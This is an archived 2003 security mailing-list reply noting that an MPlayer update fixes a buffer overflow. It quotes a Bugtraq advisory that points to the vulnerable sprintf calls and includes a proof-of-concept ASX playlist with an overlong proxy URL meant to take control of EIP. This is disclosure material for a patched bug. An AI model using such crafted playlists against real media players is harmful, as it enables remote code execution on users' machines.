Skip to Content.
Sympa Menu

sm-security - Re: [SM-Security] [Fwd: Mplayer Buffer Overflow]

sm-security AT lists.ibiblio.org

Subject: Security bugs are reported here via bugzilla

List archive

Chronological Thread  
  • From: Eric Sandall <eric AT sandall.us>
  • To: SM-Security AT lists.ibiblio.org
  • Cc:
  • Subject: Re: [SM-Security] [Fwd: Mplayer Buffer Overflow]
  • Date: Fri, 26 Sep 2003 22:03:34 -0700

I believe this is fixed by updating MPlayer to 0.92, which it already is. ;)
Unfortunately, no one posted to any list about the vulnerability and it being
fixed.

2003-09-25 Arwed v. Merkatz <v.merkatz AT gmx.net>

updated to 0.92, fixes a remote vulnerability

-sandalle

Quoting Craig Van Tassle <craig AT codestorm.org>:
> -------- Original Message --------
> Subject: Mplayer Buffer Overflow
> Date: Thu, 25 Sep 2003 19:17:49 -0500
> From: Otero, Hernan <hernan.otero AT eds.com>
> To: 'bugtraq AT securityfocus.com' <bugtraq AT securityfocus.com>
>
>
> Favorite Linux Player Buffer Overflow
>
>
> Product: Mplayer
> Developers: http://www.mplayerhq.hu
> OS: Port to All *NIX and Win32
> Remote Exploitable: YES
>
> Developers has been contacted, problem was fixed, recomended update your
> mplayer version.
>
> In the source tree there is a file called asf_streaming.c this file has a
> function named asf_http_request, that function has two buffer overflows,
> this overflows are in the sprintf lines.
>
>
> asf_http_request {
> char str[250];
> ....
> ...
> ..
> sprintf( str, "Host: %s:%d", server_url->hostname,
> server_url->port );
> ....
> ...
> ..
> sprintf( str, "Host: %s:%d", url->hostname, url->port );
>
> ....
> ...
> ..
> }
>
>
>
> This, at a first look, may look as it can´t be exploited ( because the
> MAXHOSTLEN size restriction )... but if in an ASX file like this with a
> "badsite" listening in "badport" send "\n\n" as answer you could lead to a
> fully controllable EIP buffer overflow
>
>
> <asx version = "3.0">
> <title>Bas Site ASX</title>
>
> <moreinfo href = "mailto:info AT badsite.com
> <mailto:info AT badsite.com> " />
> <logo href = "http://www.badsite.com/streaming/grupo.gif
> <http://www.badsite.com/streaming/grupo.gif> " style="ICON" />
> <banner href= "images/bannermitre.gif">
> <abstract>Bad Site live</abstract>
> <moreinfo target="_blank" href = "http://www.badsite.com/
> <http://www.badsite.com/> " />
> </banner>
>
> <entry>
> <title>NEWS</title>
> <AUTHOR>NEWS</AUTHOR>
> <COPYRIGHT>© All by the news</COPYRIGHT>
> <ref href =
> "http_proxy://badsite:badport/http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> aaaaaaaaaaaa"/>
> <logo href = "http://www.badsite.com/streaming/grupo.gif
> <http://badsite.com/streaming/grupo.gif> " style="ICON" />
> </entry>
> </asx>
>
>
>
> Regards,
>
> Hernán Otero
> hernan.otero AT eds.com
>
>
> _______________________________________________
> SM-Security mailing list
> SM-Security AT lists.ibiblio.org
> http://lists.ibiblio.org/mailman/listinfo/sm-security
>


--
PGP Key Fingerprint: FCFF 26A1 BE21 08F4 BB91 FAED 1D7B 7D74 A8EF DD61
http://search.keyserver.net:11371/pks/lookup?op=get&search=0xA8EFDD61

-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GCS/E/IT$ d-- s++:+>: a-- C++(+++) BL++++VIS>$ P+(++) L+++ E-(---) W++ N+@ o?
K? w++++>-- O M-@ V-- PS+(+++) PE(-) Y++(+) PGP++(+) t+() 5++ X(+) R+(++)
tv(--)b++(+++) DI+@ D++(+++) G>+++ e>+++ h---(++) r++ y+
------END GEEK CODE BLOCK------

Eric Sandall | Source Mage GNU/Linux Developer
eric AT sandall.us | http://www.sourcemage.org/
http://eric.sandall.us/ | SysAdmin @ Inst. Shock Physics @ WSU
http://counter.li.org/ #196285 | http://www.shock.wsu.edu/

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.




Archive powered by MHonArc 2.6.24.

Top of Page